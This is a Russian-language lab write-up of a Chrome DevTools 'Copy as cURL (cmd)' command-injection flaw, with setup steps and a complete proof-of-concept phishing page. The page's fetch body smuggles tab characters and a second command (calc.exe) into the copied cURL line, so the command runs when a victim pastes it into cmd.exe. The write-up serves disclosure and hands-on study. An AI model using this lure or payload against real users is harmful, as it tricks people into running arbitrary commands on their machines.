Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
🫡 Метрики
CWE: CWE-20
🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг. --directory /example
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
😬 Html код (lab_cve-CVE-2025-12907.html)
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Тех поддержка не работает</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>
<script>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</script>
</body>
</html>
